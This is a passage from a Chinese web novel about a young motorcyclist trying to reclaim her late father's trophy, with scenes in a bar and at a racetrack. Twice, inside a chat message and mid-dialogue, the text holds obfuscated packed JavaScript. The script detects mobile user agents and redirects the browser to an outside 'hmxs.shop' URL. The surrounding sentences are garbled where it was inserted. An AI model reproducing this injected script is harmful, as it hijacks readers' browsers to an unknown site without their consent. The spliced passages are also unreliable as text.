临江市虽然在南方,但南方也不是真什么水果都十块钱十斤,一般酒吧一个果盘给放两个山竹都算高端VIP待遇了,孔绥这又是芒果又是山竹摆了一盘子,纯纯夹带私货。 今晚到了「兰若」,知道江在野也来,孔绥就告诉了江珍珠关于她爸遗物的事,当时江珍珠就深表理解,但认为她在虎口夺食,这事儿估计够呛能成。 江珍珠支走了炸虾片的纹身大哥,靠在吧台旁,看着小姑娘还在埋头认真切山竹——刀在中间侧切一圈,两手握着山竹两头一拧,动作干净利索,一看就是熟能生巧。 新鲜的紫色粘手汁液落在她的手背。 江珍珠看不下下去了。 她都没吃过孔绥给她扒的山竹。 “怎么个意思,还搁这特殊对待上了,这就是你观察一晚上得出来的战略手段——你在包厢里默默蹲了一晚上,还没看出我小哥是个油盐不进、冷热不吃的老王八?” 就连大哥的秘书都在天天烧高香,期待小少爷在摩托车事业上搞出点惊天动地的成就,千万不要被老爷子发配回公司…… 否则就他那性格,码头上看集装箱的阿黄都得少活两年。 孔绥头也不抬:“这个不是为了讨好他。” 江珍珠:“这还不是讨好他,你跟我嘴硬什么?” 孔绥放下手中的刀,想了想说:“是奖励。” 江珍珠反问:“谁奖励谁?” 孔绥回答:“你知道么,你小哥其实人还挺好的。” 江珍珠瞪圆了眼,以为自己的耳朵长毛了,出现了幻听。 孔绥切完最后一个山竹,洗了洗手,又把手擦干,随手捡了个剥好的山竹塞到好友嘴巴里,趁着她嚼嚼嚼,捡着空挡给江珍珠说了刚才在包厢里发生的事。 当然把“我吸我哥血养你们”这段掐掉了。 江珍珠听完沉默了下,嘟囔着:“他就是这样的……自己穷得下顿饭都不知道上哪个垃圾桶里捡,还操心八竿子打不着边的人的油箱空不空。” “是个好人。” “………………宝,我还是觉得这个结论太荒谬了。” “我觉得和他好好说,他应该能把我爸的奖杯还我。” 江珍珠爱怜的摸了摸小姑娘的狗头。 “这绝对是两码事。” 她真诚的提醒。 …… 孔绥还沉浸在“江在野好像是个好人”的无限滤镜中,也是暂时忘记了这会儿人家还在给她下追杀令。 江珍珠欲言又止试图让她醒醒,这时候包厢门开了,江在野出现在门口昏暗的光线中,停顿了下,视线往水吧这边一扫—— 与孔绥和江珍珠视线相对,但一秒多余对视都没有,他直接挪开了视线。 外面的暴雨还在哗哗的,伴随着酒吧的门开关、客人进出,时不时传入耳朵里。 江在野躲出来,站在门口通风的地方,从口袋里摸了包烟,潮湿的空气中擦火点燃了,奶白色的烟雾缭绕升起。 男人叼着烟,侧着脸,望着酒吧外因为暴雨空无一人、只剩红绿霓虹灯闪烁的街道发呆。 就在这时,从阴影处的卡座里,突然出现一个高挑的身影,目标明确的走向江在野所在的角落。 年轻女人身着小吊带,外面裹着黑色皮衣,头发烫得卷卷的,踩着高跟鞋走过来时,气场强得像在走红毯。 孔绥盯着人家的长腿看了几秒,第一反应是这腿骑公升车都能全脚掌着地,好他妈羡慕—— 在那个女人走到闪烁的灯光下,她认出来,这是一个挺有名的机车相关博主,叫“小北老了骑踏板”。 踏板摩托车是在“防赛”、“复古”、“街车”之外的第四类摩托车型,机车圈有一句玩笑话,是自诩老炮的人最开玩的梗:摩托佬最终的归宿都是踏板。 此时此刻,只见她走到吞云吐雾的男人跟前,往那一站,存在感太强,江在野转过头,看着她。 没吱声。 名叫小北的网红倒也不怕尴尬,笑容在光线酒吧也相当清晰可见:“野哥,听说你们「UMI」下周在化龙赛道办了个比赛,是不是有miniGP(*150排量自组装车型)组,我想报名参加。” 江在野没立刻回答。 但从他懒散的神情,孔绥意识到他应该是认识这个小北的。 “报名表跟阿耀拿。” “我知道啊,”小北笑着,“我听说miniGP组报名人蛮多,我就是想问问能不能给我点方便。” 江在野靠在身后的墙边,脸上的表情都没怎么变:“什么方便?” “比如给我个稍微不那么强的小组赛分组,好歹让我拿个小组赛成绩——你也知道,我这边粉丝蛮多,可以顺便帮你们宣传下,双赢嘛。” 男人眼神平淡的从面前姣好的面容上掠过。 “宣传什么,宣传老子倒贴钱搞比赛捧小姐姐?” 江在野问完,小北脸上笑容一僵。 “你要来比赛就来,”他语气很平,“跟我谈什么条件?” “哥,我只是说操作一下分组,剩下的我自己来,你知道的我骑车技术没差的,不是他们讲的花瓶——” 女骑的处境是挺窘迫,骑个车要么被说蹭流量,要么被说擦边…… 同样骑车通勤,男的没几个戴护具的,女的不带护具被嘲翻天,评论区随便翻一翻就是“殡仪馆准备进货”之类的言论,不堪入目。 穿的严严实实正经下个赛道,更被人说“公主嫁到、通通闪开”。 女骑其实在圈内的环境很差。 作为机车视频博主,小北想要参加比赛证明自己,想法蛮正常。 “你来就来,正常比赛,正常拿成绩。”江在野叼着烟,声音有点含糊。 小北笑了,带点不服:“正常什么,我一个女生跟你们一群男人比赛,我不吃亏啊?” 江在野停顿了下,笑了。 就是那声笑充数着其耐心丧失的浓重意味。 他摘下唇边烟屁股,顺手碾灭在旁边的垃圾桶,眼神儿懒洋洋的抬了抬:“上周在化龙赛道,有个女的骑个不是自己车的忍四,在第一圈就拉爆了小小文。” 他停顿了下,露出了个有点不情愿往下继续讲的表情, “拿走我「UMI」的化龙赛道优先使用权,那个大姐头盔都没摘,拍拍屁股扭头就走了……小小文这星期都没睡好觉。” 整个吸烟区都安静了几秒。 “你说她骑得多好吧,也不至于——但这周我们俱乐部 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直到门外雨幕中,缓缓开过来一辆迈凯伦,车灯打在「兰若」的门窗玻璃上,江在野微微眯起眼,站直了些身体。 车门打开,一头嚣张红发、长相与江在野五六分神似,更年长一些的年轻男人骂骂咧咧冒雨下了车,顺手把车钥匙扔给酒吧泊车小弟。 江已刚踏入酒吧没站稳,身上卫衣帽子就被人从后面一把拎住。 江已浑身一僵,不情不愿地拧过头。 “哥。” 江在野的指尖还带着淡淡的烟草味,神色淡淡。 “这个月该给可爱的弟弟发的零花钱在哪?” 声音像是在夸奖今晚的天气。 江已无语凝噎半晌,一转头,看到了缩在水吧后冒出半个脑袋望着这边的两个小姑娘,两个脑袋,四只眼睛,眼巴巴的。 江已:“……” 知道了,知道了。 江已:“你定的法律,当哥的要给弟弟零用钱?要不要身份证看看自己多大了,老爸像你这么大的时候,大哥都会打酱油了。” 兄弟二人一边说话一边往包厢走。 一路上,众人眼睁睁看着「兰若」老板的卫衣帽子被拽在身后跟他差不多高的年轻男人手中。 两人连体婴似的。 江已受不了了:“撒手。” 江在野面无表情:“给钱。” 众人:“……” 进了包厢,后面还跟着两个小尾巴,江在野余光早就看见了这份鬼鬼祟祟,但他根本懒得管,一心盯着他哥的钱包。 进了包厢,和众人打了个招呼,江已坐下了,用“给钱可以”起了个头,然后在江珍珠期盼的目光下,提起:“妹妹有个同学……” 这话一出,孔绥就看到原海整个人从如临大敌变如获大赦—— 本来这事儿是石凯交给他去办的。 现在江珍珠拜托了江已,江已被杀死的几率比原海被杀死的几率可小太多了。 江已将孔绥的事十分含糊的说了一遍。 说到店里供着的奖杯和孔南恩的灵位,江在野浅浅皱了皱眉,看似有些迟疑和困惑,慢吞吞松开了江已。 停顿了下,他一口拒绝:“不给。” 正摆果盘的孔绥一下子窒息了。 “把奖杯还给她,她摆哪?家里?摆家里闷着不如摆我店里,好歹师父还能看着好多喜欢摩托车的年轻人来买车——” 孔绥:“……” 也能看到好多买一辆一万八的铃木GSX250在大马路上飙车到一百八码的鬼火? 包厢内突然陷入死一般的寂静。 当旁边的江珍珠疯狂的拉扯自己的袖子,孔绥才反应过来她已经把内心飞过的弹幕一字不差、清晰的念了出来。 隔着摆酒的茶几,此时此刻,江在野居高临下地垂视而来,望着她。 江在野:“江已,你这是海底捞吗,开酒小妹还陪聊?” 孔绥:“……” 11.爸爸 包厢里的人一下子安静下来,从他们脸上的表情可以猜测这一秒他们挺想凭空消失的。 江在野棱角分明的下巴一抬,那股纨绔子弟的放浪不羁味,变戏法般瞬间变得浓郁扑鼻。 “我就说今晚怎么感觉走哪都被个未成年毛茸茸的盯着。” 男人面无表情道,“原来你在打这个主意。” “毛茸茸地盯着”是什么形容词,孔绥不太清楚。 但江珍珠是对的。 ——江在野不是好人。 一条剧毒蟒蛇正张开它的血喷大口。 “孔南恩的女儿,怪不得能认识几个车型,价格也清楚……那天在店里像个变态似的摸那辆忍四摸个半天又分币不掏的也是你吧?” …… “有驾驶证吗就摸?” …… “哦,之前忙着考大学呢,估计是没有。” …… “奖杯也是那天在店里看到的?” …… “早知道这么招贼,那天我都不营业,门上挂三把锁。” 孔绥哑口无言。 其实刚开始她还准备否认江在野对于她身份的猜测,想嘴硬一下自己只是一个正义的路人—— 但江在野的语气太自然了。 他的逻辑串联起来大概只用了迅雷不及掩耳盗铃之势的一秒。 根本容不得她狡辩。 别看这人那天一副完全没睡醒也睡不醒的模样,谁知道他记性那么好……谁多摸了几下他店里售价四万九千八的车又没买这种破事都记得清清楚楚。 ——“战胜小小文的那位大姐”和“抢夺师父遗物的合法继承人”哪个身份更讨人厌,孔绥还是知道的。 孔绥一下子就清醒了。 顶着众人森森的目光,少女圆圆的眼睛一下子睁大了,声音真诚:“真的不能考虑给我吗?我爸爸的遗物没剩下多少,那个奖杯对我来说也很有意义,颁奖的时候我还在场呢……” 江已心想,好可怜哦。 江在野说:“就你在?有没有可能,那天我也在。” 江已心想,这还抢上爹了。 江在野翘起二郎腿,马丁靴鞋尖漫不经心的踢了踢桌面放的一杯没人动过的威士忌,懒洋洋道:“而且,那天是我十岁生日。” 孔绥:“……” 爸爸爬上人生巅峰的那天是盛夏,九月九日…… 我就说我和处女座(男)不共戴天。 江在野:“奖杯是师父送我的生日礼物,它象征什么,意味什么,我比你更清楚。” 字字清晰,落地有音。 江已看着蹲在桌子对面的小姑娘越发僵硬以及可怜的脸蛋,心想啧啧啧人家哪里经历过这个,转过身,用息事宁人的语气对江在野说,差不多得了,你要把恩师之女吓死才算完? “胆子小的人不会试着来虎口夺食。”江在野淡道。 “……你把东西还给人家小妹妹,多大个人了,怎么还和小孩抢东西。” 江已抬脚,踢他的鞋,“看在珍珠的面子上,东西给她。” 江在野:“江珍珠有什么面子?” 江珍珠:“……” 江已:“……你下礼拜比赛包赛道的钱,哥给你出了?” “你爱给不给。”江在野看都懒得看他哥一眼,“了不起我回去问爸爸要。” 江家几兄弟撇了江珍珠,剩下的都是二十好几到三十郎当岁,各个光立业不成家,放在老父亲的眼里属于狗都嫌的年纪,看了他们没几个好脸。 平时饭桌上,众逆子也是一口一个“老头”“老爹”不见得多尊重…… 除了俩闺女还能撒撒娇,儿子们跟老父亲就是有事说事。 江在野上一次正儿八经管老爷子叫“爸爸”估计能追溯到十几二十年前。 这声乖巧的“爸爸”出来,老爷子一激动,明天化龙国际赛车场就改姓江也不是没可能。 ……这份杀伤力让江已当场沉默。 见江已也熄了火,孔绥稍微有点意识到这事儿恐怕是暂时没戏了……抿了抿唇,不死心地妄想继续反驳两句,这时候茶几对面的男人却做出了谈话可以在这结束的姿态。 他坐起来了些,拿起手机看了眼时间,语气一如既往地无起伏:“十二点了,未成年该回家睡觉了——江珍珠,谁告诉你高考完你就自由了?这里是酒吧,你准备在这玩到几点?” 那平静的目光,落在了孔绥身边的人身上。 孔绥一下子感觉到身边江珍珠连呼吸都变轻了:虽然平日里嫌弃个没够,但当江在野面无表情说话时,那个震慑力不亚于大哥或者亲爹。 江珍珠拖着一脸沮丧的孔绥离开酒吧。 门外江家的司机已经在等了,大得吓人的黑伞遮在两小姑娘的头顶,把她们送上了黑色的宾利。 “我小哥是兄弟几个人里长得最好看的,把我妈和我爸五官的优点全部捡走还发扬光大。” 车门“啪”地一关,江珍珠突然道。 “摩托车圈其实挺乱,天天不是撕架就是飙车要么就是抢情人,要么就是因为抢情人而飙车最后变撕架……圈里乱七八糟事那么多,这些年,他老人家0绯闻。” 孔绥把视线从被雨水模糊的车窗上挪开,转过头看着江珍珠。 后者跟她耸耸肩,万般无奈:“现在你知道原因了。” …… 包厢内,几分钟后恢复了最开始和谐的歌舞升平。 嘈杂中,江已歪了歪身子,问身旁径自喝酒的弟弟:“上哪想到的‘爸爸‘这么阴损毒辣的杀招?” 江在野一仰头,酒杯中琥珀色液体一饮而尽。 “她先叫的。” “啊?” “一口一个‘爸爸‘,叫得还蛮好听。” “……” 江已脸上表情百转千回,表达欲在“人小姑娘要知道不得气死”和“她真的好可怜”和“弟啊你比我想象中变态”之中反复仰卧起坐。 最终欲言又止,化为一声长叹。 …… 几天后,某个午后,孔绥被江珍珠的电话吵醒,后者告诉她,卫衍在你家三条街开外的那条便利店等你时,孔绥怀疑自己还没睡醒。 “我们分手了。” 少女的声线里还带着浓重的睡意。 “你单方面的宣布的。” 电话里,江珍珠冷酷的说,“根据你跟我转述的内容,要么他给你一个道歉,要么你给他一个巴掌,我不接受稀里糊涂的open ending。” 孔绥“……”了,爬起来洗了把脸,随便套了个大裤衩和宽松大T恤,踩着人字拖就出门了。 临江市的夏天下午二三点的太阳毒辣得能要人命,孔绥隔着便利店的玻璃看见坐在里面的卫衍,抿了抿唇。 用一根手指将粘在下巴上的头发拨开,她抬脚冲进冷气十足的便利店,先买了一瓶可乐,结完账回过头,卫衍已经从位置上站起来,看着她这边。 几天未见,他好像又长高了点。 卫衍穿着牛仔裤和一双跑鞋,干干净净的T恤,他在学校人气真的蛮高,每次校庆总有毕业生专门找来班上看这个学弟。 走在大马路上,也总会有不同年龄段的小姐姐和大姐姐来要联系方式—— 孔绥认可她们的行为逻辑有迹可循,但现在她很难说深入接触后,她们会不会因为滤镜碎一地而大失所望。 ……就像现在的她一样。 “你怎么来了?” 可乐用一根手指头“噗呲”地撬开,她单手叉腰,猛灌两口,姿势豪迈—— 她当然也是有形象管理的。 但眼前的人不在这个幸运名单内。 卫衍垂了垂眼。 “小孔雀,我来道歉。” 他顿了下,像在心里把台词过一遍。 “我不该说你假装想骑车,也不该乱猜你为什么学……那天我情绪上头,对不起。” 孔绥“哦”了声,低头用一根手指刮了刮易拉罐上的冰凉冷凝水珠。 “我——我想邀请你后天一块儿去临江市新开业的那个卡丁车和摩托车赛车场玩。” 卫衍伸了伸手里的手机,让孔绥看他查到的新的娱乐设施。 “其实你说的话我听进去了,你喜欢玩这些,不喜欢玩游戏,那我们就一起去玩你喜欢的——” 他话还没落,孔绥放口袋里的手机开始震得发麻,她拿出来看了眼,是之前她退出的那个群。 吴蝶把她拉回去了。 屏幕上正疯狂的跳聊天记录。 【蝶:@恐龙妹 我刚打电话预约好卡丁车场的位置了,一起来玩啊?】 【李源:……你妈啊!吴蝶,卫衍那边道歉完了没你就把人拉进来?】 【蝶:……………………哦哦哦我艹不好意思?】 【蝶:@衍生动物 大哥你道歉完了没,一句对不起没那么难开口啊?】 【李源:@恐龙妹 别生气了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593950|186728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小鸟姐,我们这个年纪的小登总会有点脑残发言的。】 【苗苗:是的,阿衍都给我们说了,你不能怪他过分兵荒马乱,主要是对手过分强悍——哪怕是非洲的豺狗猝不及防在自己的领地看见一只雄狮也会一蹦三尺高的。】 【蝶:那个摩托车店老板真的很帅……】 【李源:@蝶别添乱了=_=】 【李源:呜呜呜之前阿衍说你也想考摩托车的驾照,等你有空报名,我们一起练车啊!】 【昭:@恐龙妹 同学,他知道错了,给他条生路。】 聊天记录滚的飞快,孔绥面无表情的看完,卫衍看她脸上没多大反应,又看群里认认真真起哄劝架,一窘,飞快把手机朝下扣住:“有点吵,不好意思啊……前面李源约我打球,我才告诉他们说我要来你这边,来和你道歉。” 孔绥抬起头看向卫衍。 卫衍眨眨眼:“我是真的喜欢你。” 阳光透过便利店擦得干净透明的橱窗照射到桌子前,冰柜冷气在嗡嗡运作,面前的少年高大英俊,紧紧拧着剑锋似的眉—— 几多真诚可见。 告白也算真心。 收银台后的收营员被少年少女们先是剑拔弩张的气氛吸引看过来,然后又为突如其来的告白震惊,眨眨眼“啧啧”地缩回头,心想这就是青春。 “小孔雀,再给我一次机会吧,我高中前前后后围着你打转三年,老班都知道了——” “三年都没看出我是个无聊的人。” “你不无聊!” 卫衍手忙脚乱地摆摆手,手中手机还在震,他只能又要头昏脑涨的让微信群里的人都别蹦跶了。 “我那天真的是被晒昏头了,讲那种话,你再给我一次机会,就一次……我们一起去再玩一次你可能感兴趣的东西,我们再试试,好不好——大家都是第一次谈恋爱,哪怕分手,我也不能让你带着不愉快的记忆分手!” ……讲了那么多,最后一句倒是蛮像人话。 孔绥三两口把可乐喝光,易拉罐隔空随手投进回收桶。 “最后试一次。” 她看了他一眼,“我也正在困惑,那天我为什么会答应你的交往请求。” 卫衍点头:“你会找到的。” “但愿。” 孔绥站了起来,提提踏踏的踩着人字拖,转身推开了便利店。 “后天见。” 扔下这五个字,她头也不回的走了,整个谈话的过程不超过二十分钟,卫衍坐车来临江市用了两个半小时。 但好在结果是好的。 回家后,他几天没发出去的微信消息终于发了出去—— 那天说分手后,孔绥就删了他的微信好友,今天才加回来。 …… 临江市新开的那家卡丁车兼摩托车赛车场在汽配城那边,为了要占地面积,距离市区很远。 设施很新,设备齐全,整体来说是个合适年轻人消费约会的中端娱乐场所,自从开业来就在临江市这边很有人气。 孔绥到的时候,看到停车场停满了来玩的自驾车,这鸟不拉屎的地方绿化很差,周围零星几棵树,温度高的能把人烤熟,树上蝉鸣都消失了。 不远处是卡丁车赛道。 整个场地占地面积很大,放眼望去就能看到,除了已经开放营业的卡丁车赛车场和摩托车赛道,后面还有几个半完工式工地。 最前方简略的赛道专供卡丁车新手玩耍,护栏不是那种专业赛道护栏,而是很寒酸的用了一大堆旧车轮胎垒起来作为防护墙…… 孔绥看过去的时候,正好看到一辆卡丁车上,小姐姐尖叫着,一脚油门焊死般开着车一头扎进轮胎墙—— 轮胎墙“轰隆”一下很有视觉效果的倒塌,飞起,弹跳,滚动。 周围此起彼伏的哄笑声热闹非凡。 “——能不能救救我?想健身我自己会去健身房,而不是在四十度的高温下像马戏团的猴一样在这砌轮胎。” 低磁的男音略微沙哑,远远地钻入耳中。 孔绥“……”了下心想惹,这声音未免太他妈耳熟。 一回头便见到熟悉的白色工字背心。 男人宽阔的肩膀暴露无遗,紧绷皮肤因为汗水和阳光晒红散发着浅浅的铜色,蓝钻石耳钉在烈阳下绽放夺目火彩。 江在野抬起头,猝不及防与满脸呆滞的少女四目相对。 三秒后…… 两人双双因为觉得过分晦气,同时挑起眉。 12.我不同意你早恋 烈阳当空,女鬼横行。 江在野现在理解了他的哥哥们看到他时是什么心情,他看孔绥,也挺像那个瘟神。 而不远处,小姑娘脸上的表情也相当精彩…… 好似青天白日进山游玩,放松心情不成,一抬头遇见了掘人祖坟、抢人贡品的山土匪。 五秒过后。 两人心照不宣的双双拧开脑袋—— 好像都很怕对方不讲道理的缠上来。 江在野问上一秒还在听老板抱怨个不停的小马仔,别的场子还有没有活要干,实在不行他可以到毛坯场地那边和水泥。 马仔:“?天下红雨了?” 江在野:“我只知道再废话你要扣工资了。” 孔绥这边,是吴蝶及时凑了上来—— 自从上次孔绥在摩托车店顺手替她扶了那辆差点要倒下的车让她幸免于难于赔钱或者是被骂后,她对她的态度完完全全180°大转变…… 现在属于朋友圈开始可以点赞的友好关系。 “小孔雀,你来看啊,旁边还有个赛道,里面有人在跑摩托!” 现在卫衍的那个小群里,全员都知道孔绥喜欢摩托车。 也不知道卫衍跟他们说了什么,这件事好像被放到了群公告顶置一样被所有人牢记在心。 太阳太大,烈日之下,孔绥原本没心情站在看台暴晒欣赏别人骑摩托车,然而此时,不远处那杵着的身影太有存在感,阴森森的。 “来了。” 她抬脚跟上了吴蝶,向着后面那个设施与防护措施明显成熟、隐约传来摩托车引擎咆哮的赛道看台方向走去。 …… 热浪从赛道路面卷起,蒸腾,摩托车轮胎与高温柏油地摩擦的橡胶味钻入鼻腔,熟悉得足够唤醒多巴胺苏醒,沸腾。 孔绥对赛道上方看台路线熟悉,但是穿着日常的衣服,跟着同学往看台上走这种事又是头一回—— 看台上已经零星坐了一些人,看样子是来游玩,跑完卡丁车中场休息的,男女老少都有,最小的小孩看着就五六岁。 引擎声在脚下炸开,人群骚动起来,扶着滚烫的栏杆往下看,孔绥看到两台车相差了几十米以快到几乎有了残影的速度飞快掠过。 “……” 哟。 是熟人。 黑粉的川崎ZX-6R声音厚重、线条凶悍,转速一上八千就像在咆哮,排气管换成了短管滑脱式的版本,一拧油门声浪炸开,出弯时还伴着一阵小小的尾流震动。 另一台落后几十米的则是化成灰都认识的川崎Ninja 400—— 全车改得婆婆妈妈,基本和出厂配置已经判若两车。 后视镜取下自然是不必说的基操,前叉替换使得骑行姿态低了几度; 后减震也不再是原厂调教出来的松垮调性,压弯时几乎没有多余的摆动; 后仰脚踏与夹把的改动能够提高身体与车辆的贴合,油箱两侧各自贴了防滑砂胶。 原厂的川崎ninja 400其实在防赛车型中骑行姿势最接近于街车,对腰友好,骑久了不累—— 但要上赛道,发动机那些玩意倒是够用,骑行姿势方面肯定是得一通爆改。 原海常年跑400cc改装组比赛,对自己的车改造自然是上了新,至今「空」俱乐部还有这位临江市藤原拓海兄,花五万买车花五十几万改车的传说。 这车好骑。 孔绥骑过。 “天啊,天啊,天啊!是「UMI」的那个最强新人小小文!我认识那辆车!!!你知道他拿过多少奖不!另一个是「空」那个好有钱的那个,哇,哇,他居然没输小小文太多!” 李源大嗓门激动地喊,上蹿下跳—— “我靠,我靠,我靠!我第一次近距离直观的看职业赛车手比赛,太酷了吧!!!!” 孔绥站在旁边,指尖在热滚滚的栏杆上敲了敲,微微眯起眼…… 有的人看似一脸冷漠的在看比赛。 实则在心中已经笑劈叉。 “最强新人小小文”和“好有钱的那个”,这形容,翻译一下大概类似“我的天啊是柏原崇啊啊啊啊啊哇快看他身后那位,也是个男的”—— 被她的爱徒听见,今晚怕不是又是一场的醉死方休。 孔绥趴在栏杆上,把自己疯狂上扬的唇角埋进臂弯里,听见自己的嘴巴贴在手臂上“噗噗”出放屁的声音。 ——好在周围无论是摩托车还是看台上叹息的人都够吵,没人听见。 “你在说什么,那辆绿色的车也很猛!” “我去,看到了吗,他们过弯的时候胳膊肘都快贴到地上了,怎么做到的……” “膝盖在地上擦出火光了,这就是电光火石吗!” “我也觉得后面的那辆也骑得很好,他还很有钱吗,是什么人啊,哇我老早就听说骑摩托车很花钱的!” 众人叹息,纷纷赞叹不愧是职业车手。 而此时此刻,一黑一绿两台车正在进入他们的最后两个弯道。 孔绥俯瞰着那辆ZR-6R在一个她十分认同的时间点掐住了操作,漂亮的早刹早入,收小弯型,最后提前给油出弯…… 把所有的动作提前,摩托车完美的完成了最后一道弯,彻底锁定了胜局。 “长脑子了。” 上次和她骑,这个小小文就是因为心急丢油丢得晚,前两圈路径都很差,才输了比赛。 少女的嘟囔中,后面的川崎也同时冲过了终点,两辆车双双完成了他们的第三圈竞速,计时屏闪烁他们分别的成绩是“45.77s”和“49. 86s”。 孔绥伸了伸脖子,心想这条赛道比化龙国际赛车场那条正经赛道还是短了不少。 “哇,太酷了!” 旁边伸过来冰凉纤细的手,吴蝶抱着孔绥的胳膊上窜下跳—— “小孔雀,以后你也会来赛道骑车吗!你考驾照也是为了像他们一样,漂移过弯然后膝盖着地,在柏油路面擦出火花吗!” 孔绥被她摇的脑袋都快掉了,她诚实的说:“我大概率上临江科技大……考驾照是为了能平时上学骑啦!” “可以骑电动车。” “电动车其实也是要驾驶证的。” “那你不买摩托??” “买。” 只是囊中羞涩,先买赛道用的,考证是为了更美好的未来…… 更何况俱乐部能借来骑的车其实不少。 和俱乐部的同僚出去溜溜车看看日落总不能老当挡泥板啊? 吴蝶“噢”了声:“那不还是会有一辆车吗,有车你就能上赛道啊,有冲突?通勤车不能上赛道吗?” “有的。”孔绥指指脚下,“他们的车都没后视镜,屁股上没挂车牌的,看到没,赛道改装车不能上路的。” 她说这话时,周围众人纷纷露出恍然大悟的表情。 栏杆上齐刷刷的趴着一大排脑袋勾首往下往。 此时正好看到两名车手推着车,一边说话一边往他们这边的休息通道移动。 …… 原海推着车,迎着头顶那些莫名其妙热烈的目光,正侧头跟小小文讲话,突然心有灵犀,抬起头。 一眼对视上趴在栏杆边笑眯眯的明亮圆润双眸。 “……” 原海愣了愣,像是有点没反应过来,直接伸手“啪”地抬起自己的头盔防风护目镜。 阳光之下,年轻人因为一瞬四目相对微微睁大眼,原本推车前进的动作直接停了下来—— ……师父? 她怎么在这? 原海的抬头又惹得看台上一阵骚动,年轻的车手平日里蛮注意防晒,皮肤挺白,眼型又好,一眼认真看过来,不晓得又捕获多少看台上的少女芳心。 吴蝶勾着孔绥的肩:“他好像在看这边——啊啊啊啊,你说如果我去要微信,成功几率大不大?” 孔绥笑眯眯地回她“不是很清楚,你好歹看完整张脸”,一边在人群混乱时,小幅度的对着原海摇摇头。 脚下,原海一瞬间就get到她的意思,抬起手,护目镜“啪”地又盖了回去。 这时候,放好了车,摘了头盔随手一放就折返回来找他的小小文来到他身边。 少年的年龄和孔绥不差一两岁,常年浸泡在赛道与名利场,脸上的平静和锋锐在同龄人中显得出类拔萃。 小小文屈指,敲了敲原海的头盔面罩。 原海停好车,摘了头盔和头套,伴随着头顶不知名少女一声兴奋的“妈耶两位都很帅啊搞什么”,他抹了把有些汗湿的头发—— 跑了个把小时的赛道,这会儿速干衣贴着,连体服好像都湿透了,年轻人嗓子发干,听着不算客气:“干什么?” 小小文问:“你师父呢?” 原海:“……” 在你头顶。 藏在一群莫名其妙的高中生里。 勾着脑袋,看猴戏似的,嬉皮笑脸的看着我们。 废了九牛二虎之力才克制住自己抬头去看孔绥的冲动,原海面无表情:“找她干嘛,输了一次还惦记上了?” 小小文捉住要跟他擦肩而过的年轻人的肩,把他拽回来:“下周化龙国际赛车场的比赛,你让她来报名,我们再比一次。” “……神经啊,她刚来临江市,车都没——” “用你的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598469|186728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那我用什么?” “你别比了,那么菜。” “……………………你妈啊!”原海提高了嗓门,“你是不是变态,追着人家小姑娘屁股后面要比,比比比比你大爷,我师父没空!没空!忙着呢!” 那嗓门骤然提高到声音都在空旷的赛道上空盘旋,被吼得头都快飞掉了,小小文却显得无动于衷。 原海扭头就走,小小文抿了抿唇,紧紧跟在他身后,又一把捉住他:“她忙什么?” 原海服了这种好赖听不懂,打破砂锅问到底的精神。 “不知道。” 他不耐烦的说着,终于没忍住还是掀起眼皮子往看台方向看了眼—— 等下。 贴着师父站的那个男的又你妈谁啊? ……………………还把胳膊搭在她肩膀上,低头跟她说话。 “上次聊天,她好像说是要考驾照吧?” 原海一边说着,拿出手机,汗湿的手解锁三次才顺利把手机划开,他一边打字一边头也不抬的,不小心讲出了真话。 半晌反应过来,抬起头,果不其然看见小文文一脸茫然的看着自己。 小小文:“她要去考赛照?……今年赛道驾照报名时间还没到吧?” 原海:“不是B照。” 小小文:“?” 原海:“是从科一到科四,一年有十二分可以扣的那个驾照。” 小小文:“……” …… 两人的说话声不高不低,但看台上的人可以听的清清楚楚。 卫衍“哦”了声:“他们这种人也有师父,那得多厉害?” 李源是知道上次化龙国际赛车场发生的一些事的,这会儿猛猛点头:“说的就是我之前提到过那个神秘女骑吧,就之前赢过小小文,结束「UMI」俱乐部锁定三年压倒性胜局的那位……哇,小小文大佬居然也还在惦记她!” 卫衍笑了声,也蛮惊讶还有这么一号人:“这么神秘?” 吴蝶在旁边说:“临江市不愧是大都市哈,卧虎藏龙……那个小小文明明已经很厉害了,居然会输给一个女生吗,女中豪杰,吾辈楷模!” 李源摸摸下巴:“也不知道那到底是谁……” 卫衍:“后面那个忍四的车手说他师父也要考驾照。” 吴蝶:“那么厉害的人还没驾照吗?” “唉,两码事……封闭式赛道是不用一般民用驾照的,不然那些青年组和少年组的小车手哪来的练车资格?” 李源说着,又一拍手,“有缘岂不是能在科一考场见到那位神秘小姐姐!” 话题跑远,当一群人七嘴八舌的开始讨论起被两位车手郑重其事提起的神秘女骑。 殊不知其本人就站在他们中间,这会儿拿着挂着叮叮当当饰品的手机,正眼睁睁看着自己的手机屏幕被刷屏。 【「空」临江市最速藤原拓海:师父,你怎么在这?】 【「空」临江市最速藤原拓海:看到我刚才跑车了吗,三圈下来没差小小文太多了,再回化龙国际赛车场我怕不是能比上次追回一半的时差。】 【「空」临江市最速藤原拓海:所以嘞,你怎么跟一群莫名其妙的人跑到这?】 【「空」临江市最速藤原拓海:来玩卡丁车?】 【「空」临江市最速藤原拓海:旁边那男的谁啊?】 【「空」临江市最速藤原拓海:他胳膊为什么搭在你肩上?】 【「空」临江市最速藤原拓海:你妈啊,师父你还小,不能早恋!!】 